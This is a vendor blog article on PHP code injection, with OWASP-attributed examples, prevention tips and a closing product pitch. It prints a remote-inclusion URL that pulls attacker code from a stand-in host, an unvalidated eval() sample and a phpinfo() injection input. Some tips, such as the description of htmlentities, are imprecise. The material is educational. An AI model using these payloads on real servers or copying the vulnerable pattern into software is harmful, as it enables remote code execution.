PHP Code Injection: Examples and 4 Prevention Tips

Oliver Moradov

What is PHP Code Injection?

A code injection attack exploits a computer bug caused by processing invalid data. The attacker introduces (or injects) code into the vulnerable computer program and changes the execution. Successful code injections can introduce severe risks. For example, it can enable viruses or worms to propagate. It can result in data corruption or loss, denial of access, or complete host takeover.

PHP enables serialization and deserialization of objects. Once untrusted input is introduced into a deserialization function, it can allow attackers to overwrite existing programs and execute malicious attacks.

This is part of our series of articles about command injection.

In this article:

How Code Injection Attacks Work

Code injection attacks follow a similar pattern of manipulating web application languages interpreted on the server. Typically, a code injection vulnerability consists of improper input validation and dynamic and dangerous user input evaluation.

Improper input validation

User input includes any data processed by the application and manipulated or inputted by application users. It covers direct input form fields and file uploads, and other data sources like query string parameters and cookies. 

Applications typically expect specific input types. Neglecting to validate and sanitize the input data can allow these issues into production applications, especially when testing and debugging code.

Dynamic and dangerous user input evaluation

A code injection vulnerability causes an application to take untrusted data and use it directly in program code. Depending on the language, it usually involves using a function like eval(). Additionally, a direct concatenation of user-supplied strings constitutes unsafe processing. 

Attackers can exploit these vulnerabilities by injecting malicious code into the application language. Successful injection attacks can provide full access to the server-side interpreter, allowing attackers to execute arbitrary code in a process on the server. 

Applications with access to system calls allow attackers to escalate an injection vulnerability to run system commands on the server. As a result, they can launch command injection attacks.

Related content: Read our guide to code injection (coming soon)

PHP Code Injection Examples

The code in the examples below is taken from OWASP.

PHP Injection Using GET Request

Consider an application that passes parameters via a GET request to the PHPinclude() function. For example, the website could have a URL like this:

http://testsite.com/index.php?page=contact.php

Where the value of the page parameter is fed directly to the include() function, with no validation.

If the input is not properly validated, that attacker can execute code on the web server, like this:

http://testsite.com/?page=http://evilsite.com/evilcode.php

The evilcode.php script will then run on the web server, enabling remote code execution (RCE).

PHP Injection Using eval() Function

This example shows how attacks can exploit the use of an eval() function, when developers pass it unvalidated, untrusted user inputs. 

Consider the following PHP code:

$myvar = "varname";
$x = $_GET['arg'];
eval("$myvar = $x;");

The problem with this code is that it uses the value of the arg URL parameter with no validation, directly in the eval() function.  

Consider that an attacker injects the following input into the arg parameter:

http://testsite.com/index.php?arg=1; phpinfo()

This will execute the phpinfo() command on the server, allowing the attacker to see system configuration.

Related content: Read our guide to code injection examples

Preventing PHP Code Injections

Avoid Using exec(), shell_exec(), system() or passthru() 

In general, it is a good idea to avoid any commands that call the operating environment directly from PHP. From an attack vector perspective, this gives attackers many opportunities to perform malicious activity directly in the web server stack.

In the past, functions such as exec(), shell_exec(), system(), and passthru() were commonly used to perform functions such as compressing or decompressing files, creating cron jobs, and navigating operating system files and folders. However, as soon as these functions meet user inputs that is not specifically validated or sanitized, serious vulnerabilities arise.

PHP provides functional operators with built-in escaping—for example escapeshellcmd() and escapeshellarg(). When these operators are used on inputs before passing them to a sensitive function, they perform some level of sanitization. However, these functions are not foolproof against all possible attacker techniques.

As of PHP 7.4, archiving can be handled using the ZipArchive class which is part of any PHP compilation. This can help avoid some use of direct system functions.

Avoid Using Weak Sanitization Methods

Sanitization and handling of user input is paramount to PHP application security. Whenever you accept user input, you must make sure it is valid, store and process it in such a way that it does not enable attacks against the application. Remember that any input is an open attack vector that allows a malicious attacker to interact with your application.

The following functions are used for sanitization by some developers, but are not really effective:

  • strip_tags()—this function, by default, only strips HTML and PHP from user inputs. This means that the inputs could still include potentially malicious input in languages like JavaScript or SQL. 
  • htmlentities()—this function discards inputs that do not match definable UTF character sets. However, they could still allow attackers to pass some malicious payloads.

These functions should not be used for input sanitization.

Avoid Displaying Verbose Error Messages

It is very important to turn off PHP errors in your PHP.ini configurations. Disable the error_reporting modes E_ALL, ~E_NOTICE, and ~E_WARNING to avoid error output that could be used by an attacker to identify sensitive environment information related to your PHP application and web server.

Use a PHP Security Linter

A linter is a development tool that scans code for errors and potential security flaws. PHP has a built-in linter, which you can run using the command PHP -l <filename>. However, its limitation is that it checks only one file at a time.

PHPlint is a popular alternative that can check multiple files. It can be via the CLI or as a library run by composer. You can also add it to a Docker image easily. PHPLint can check PHP 7 and PHP 8, providing detailed output about discovered issues.

Code Injection Protection with Bright Security

Bright Security Dynamic Application Security Testing (DAST) helps automate the detection and remediation of many vulnerabilities including PHP code injection, early in the development process, across web applications and APIs. 

By shifting DAST scans left, and integrating them into the SDLC, developers and application security professionals can detect vulnerabilities early, and remediate them before they appear in production. Bright Security completes scans in minutes and achieves zero false positives, by automatically validating every vulnerability. This allows developers to adopt the solution and use it throughout the development lifecycle. 

Scan any PHP application to prevent PHP code injection vulnerabilities – try Bright Security free.

Secure your app with every build

Sign up for a FREE Bright account.
Related Articles